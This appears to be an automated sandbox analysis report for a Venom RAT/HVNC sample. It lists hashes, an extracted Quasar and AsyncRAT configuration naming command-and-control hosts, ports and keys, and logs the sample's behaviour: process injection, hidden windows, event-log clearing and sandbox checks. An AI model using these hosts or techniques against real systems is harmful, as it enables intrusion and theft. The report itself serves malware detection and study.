Analysis
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max time kernel
106s -
max time network
107s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241211-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
07-01-2025 19:11
Behavioral task
behavioral1
Sample
VenomRAT-V5.6-HVNC/Venom RAT + HVNC.exe
Resource
win10ltsc2021-20241211-en
General
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Target
VenomRAT-V5.6-HVNC/Venom RAT + HVNC.exe
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Size
15.5MB
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MD5
c9a19172aec8f4d35aabe33d2123d53c
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SHA1
24f5dc16f84b7096d2561b628ee22e4aa3fb65a3
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SHA256
51505fab78a7b318bcae9d3005fd3035517141abed16054541c29c03bb9af4ea
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SHA512
cde593b070d0ea9067651fe107099621c3e1351ad00cf1c641b211fbb4adb380fb83d7a6276cff1e11496f43fc776c603f12ee67aacf0effaf192b4a53199994
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SSDEEP
196608:IA5PPrnA5PPr3lAA5PPrJSe6PC7aIahLkNPFCZZwiJl1NLIsPA8fxvuIMzd/95Un:LebljNd60T7P+Zw6NLIsFfskh1BmXG
Malware Config
Extracted
quasar
1.4.0
v15.4.1 | Venom
dofucks.com:12482
private115.duckdns.org:12482
adf10731-c83d-4166-9137-39d0b1e48856
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encryption_key
C84CB6134701741C5122A14FACDB67C8CFA9C0AB
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install_name
.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
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startup_key
$sxr-seroxen
Extracted
asyncrat
5.0.5
Venom Clients
127.0.0.1:4448
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
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delay
1
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install
false
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install_folder
%AppData%
Signatures
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Asyncrat family
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/1200-58-0x000002FCDA640000-0x000002FCDACEE000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 28 IoCs
description pid Process procid_target PID 4868 created 624 4868 ClientFix.bat.exe 5 PID 1200 created 624 1200 $sxr-powershell.exe 5 PID 1200 created 624 1200 $sxr-powershell.exe 5 PID 1200 created 624 1200 $sxr-powershell.exe 5 PID 2100 created 624 2100 $sxr-powershell.exe 5 PID 4724 created 624 4724 $sxr-powershell.exe 5 PID 4564 created 624 4564 $sxr-powershell.exe 5 PID 3264 created 624 3264 $sxr-powershell.exe 5 PID 1164 created 624 1164 $sxr-powershell.exe 5 PID 5088 created 624 5088 $sxr-powershell.exe 5 PID 3176 created 624 3176 $sxr-powershell.exe 5 PID 3928 created 624 3928 $sxr-powershell.exe 5 PID 2000 created 624 2000 $sxr-powershell.exe 5 PID 5032 created 624 5032 $sxr-powershell.exe 5 PID 2100 created 624 2100 $sxr-powershell.exe 5 PID 2100 created 624 2100 $sxr-powershell.exe 5 PID 5532 created 624 5532 $sxr-powershell.exe 5 PID 5648 created 624 5648 $sxr-powershell.exe 5 PID 5764 created 624 5764 $sxr-powershell.exe 5 PID 4868 created 624 4868 ClientFix.bat.exe 5 PID 5336 created 624 5336 $sxr-powershell.exe 5 PID 5404 created 624 5404 $sxr-powershell.exe 5 PID 5276 created 624 5276 $sxr-powershell.exe 5 PID 5876 created 624 5876 $sxr-powershell.exe 5 PID 3352 created 624 3352 $sxr-powershell.exe 5 PID 6108 created 624 6108 $sxr-powershell.exe 5 PID 5992 created 624 5992 $sxr-powershell.exe 5 PID 4868 created 624 4868 ClientFix.bat.exe 5 -
Async RAT payload 1 IoCs
resource yara_rule behavioral1/files/0x00350000000462d9-1361.dat family_asyncrat -
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000\Control Panel\International\Geo\Nation $sxr-powershell.exe Key value queried \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000\Control Panel\International\Geo\Nation ClientFix.bat.exe Key value queried \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000\Control Panel\International\Geo\Nation Venom RAT + HVNC.exe Key value queried \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000\Control Panel\International\Geo\Nation $sxr-powershell.exe -
Executes dropped EXE 24 IoCs
pid Process 4868 ClientFix.bat.exe 1200 $sxr-powershell.exe 3176 $sxr-powershell.exe 2100 $sxr-powershell.exe 1164 $sxr-powershell.exe 2000 $sxr-powershell.exe 3928 $sxr-powershell.exe 4724 $sxr-powershell.exe 5032 $sxr-powershell.exe 4564 $sxr-powershell.exe 3264 $sxr-powershell.exe 5088 $sxr-powershell.exe 5404 $sxr-powershell.exe 5532 $sxr-powershell.exe 5648 $sxr-powershell.exe 5764 $sxr-powershell.exe 5876 $sxr-powershell.exe 5992 $sxr-powershell.exe 6108 $sxr-powershell.exe 5336 $sxr-powershell.exe 3352 $sxr-powershell.exe 5276 $sxr-powershell.exe 6812 $sxr-powershell.exe 6060 Client.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx svchost.exe -
Loads dropped DLL 1 IoCs
pid Process 4444 Venom RAT + HVNC.exe -
Hide Artifacts: Hidden Window 1 TTPs 22 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 3176 $sxr-powershell.exe 2000 $sxr-powershell.exe 3928 $sxr-powershell.exe 5032 $sxr-powershell.exe 4564 $sxr-powershell.exe 5648 $sxr-powershell.exe 5336 $sxr-powershell.exe 3352 $sxr-powershell.exe 1164 $sxr-powershell.exe 5088 $sxr-powershell.exe 5404 $sxr-powershell.exe 5532 $sxr-powershell.exe 5764 $sxr-powershell.exe 5876 $sxr-powershell.exe 6812 $sxr-powershell.exe 2100 $sxr-powershell.exe 6108 $sxr-powershell.exe 5276 $sxr-powershell.exe 1200 $sxr-powershell.exe 4724 $sxr-powershell.exe 3264 $sxr-powershell.exe 5992 $sxr-powershell.exe -
Drops file in System32 directory 16 IoCs
description ioc Process File created C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask svchost.exe File created C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File created C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Suspicious use of SetThreadContext 28 IoCs
description pid Process procid_target PID 4868 set thread context of 1108 4868 ClientFix.bat.exe 92 PID 1200 set thread context of 740 1200 $sxr-powershell.exe 94 PID 1200 set thread context of 520 1200 $sxr-powershell.exe 107 PID 1200 set thread context of 4648 1200 $sxr-powershell.exe 108 PID 2100 set thread context of 1428 2100 $sxr-powershell.exe 114 PID 4724 set thread context of 740 4724 $sxr-powershell.exe 115 PID 4564 set thread context of 3864 4564 $sxr-powershell.exe 117 PID 3264 set thread context of 4304 3264 $sxr-powershell.exe 116 PID 5088 set thread context of 5212 5088 $sxr-powershell.exe 119 PID 1164 set thread context of 5184 1164 $sxr-powershell.exe 118 PID 3176 set thread context of 5264 3176 $sxr-powershell.exe 120 PID 3928 set thread context of 5292 3928 $sxr-powershell.exe 121 PID 2000 set thread context of 5300 2000 $sxr-powershell.exe 122 PID 5032 set thread context of 5328 5032 $sxr-powershell.exe 123 PID 2100 set thread context of 4884 2100 $sxr-powershell.exe 134 PID 2100 set thread context of 1920 2100 $sxr-powershell.exe 135 PID 5532 set thread context of 6424 5532 $sxr-powershell.exe 137 PID 5648 set thread context of 6444 5648 $sxr-powershell.exe 138 PID 5764 set thread context of 6564 5764 $sxr-powershell.exe 139 PID 4868 set thread context of 6652 4868 ClientFix.bat.exe 140 PID 5336 set thread context of 6676 5336 $sxr-powershell.exe 141 PID 5404 set thread context of 6788 5404 $sxr-powershell.exe 142 PID 5276 set thread context of 6804 5276 $sxr-powershell.exe 143 PID 5876 set thread context of 6892 5876 $sxr-powershell.exe 144 PID 3352 set thread context of 6916 3352 $sxr-powershell.exe 145 PID 6108 set thread context of 6980 6108 $sxr-powershell.exe 146 PID 5992 set thread context of 7004 5992 $sxr-powershell.exe 147 PID 4868 set thread context of 5384 4868 ClientFix.bat.exe 148 -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\$sxr-powershell.exe ClientFix.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe ClientFix.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 6392 cmd.exe 5956 PING.EXE -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 wermgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz wermgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wermgr.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 wermgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz wermgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wermgr.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS wermgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU wermgr.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS wermgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU wermgr.exe -
Kills process with taskkill 1 IoCs
pid Process 5712 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000\Software\Microsoft\Internet Explorer\TypedURLs Venom RAT + HVNC.exe -
Modifies data under HKEY_USERS 57 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Uninstall svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1736277302" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={4311192A-E86C-46CC-902B-680E8E12C931}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Uninstall svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Uninstall svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 07 Jan 2025 19:15:05 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0 = 78003100000000008b5969771100557365727300640009000400efbe874f7748275aae992e000000fd0100000000010000000000000000003a00000000004b47290155007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000 Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 = 50003100000000008b59f97d100041646d696e003c0009000400efbe8b596977275aae992e000000f7080400000002000000000000000000000000000000d78b1200410064006d0069006e00000014000000 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0 = 56003100000000008b59697712004170704461746100400009000400efbe8b596977275aae992e00000002090400000002000000000000000000000000000000e5f81a014100700070004400610074006100000016000000 Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} Venom RAT + HVNC.exe Set value (str) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic" Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0 = 4e00310000000000275acb99100054656d7000003a0009000400efbe8b596977275acc992e0000001609040000000200000000000000000000000000000059b18200540065006d007000000014000000 Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 020000000100000000000000ffffffff Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\MRUListEx = 00000000ffffffff Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1" Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000 Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\MRUListEx = 00000000ffffffff Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg Venom RAT + HVNC.exe Set value (str) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}" Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0\0 = 7200310000000000275aae99100056454e4f4d527e312e362d480000560009000400efbe275aae99275aae992e0000003b62040000002800000000000000000000000000000099797500560065006e006f006d005200410054002d00560035002e0036002d00480056004e00430000001c000000 Venom RAT + HVNC.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1 = 14002e8005398e082303024b98265d99428e115f0000 Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0\0 Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 Venom RAT + HVNC.exe Set value (str) 